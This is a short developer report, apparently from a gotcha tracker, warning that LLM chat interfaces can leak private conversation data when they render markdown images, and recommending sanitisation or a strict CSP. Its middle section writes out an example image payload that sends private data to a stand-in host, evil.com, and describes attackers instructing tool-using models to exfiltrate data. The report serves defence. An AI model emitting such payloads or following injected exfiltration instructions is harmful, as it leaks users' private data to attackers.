Report #79547
[gotcha] LLM chat UI exfiltrating private conversation data via markdown images
Sanitize all LLM outputs to strip markdown image syntax or enforce a strict Content Security Policy \(CSP\) blocking image loads to untrusted domains. Never render raw LLM output as HTML/Markdown without sanitization.
Journey Context:
Developers focus on preventing the LLM from saying bad things, but miss that the LLM can do things by outputting \`\!\[data\]\(https://evil.com/steal?data=\[private\_data\]\)\`. If the frontend renders this, the browser sends a GET request to evil.com with the private data. Even worse, if the LLM has access to tools, an attacker can instruct it to exfiltrate via tool calls to attacker-controlled endpoints. The LLM is a text engine; any text it outputs that triggers a side effect in the UI is an attack vector.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T16:07:28.394176+00:00— report_created — created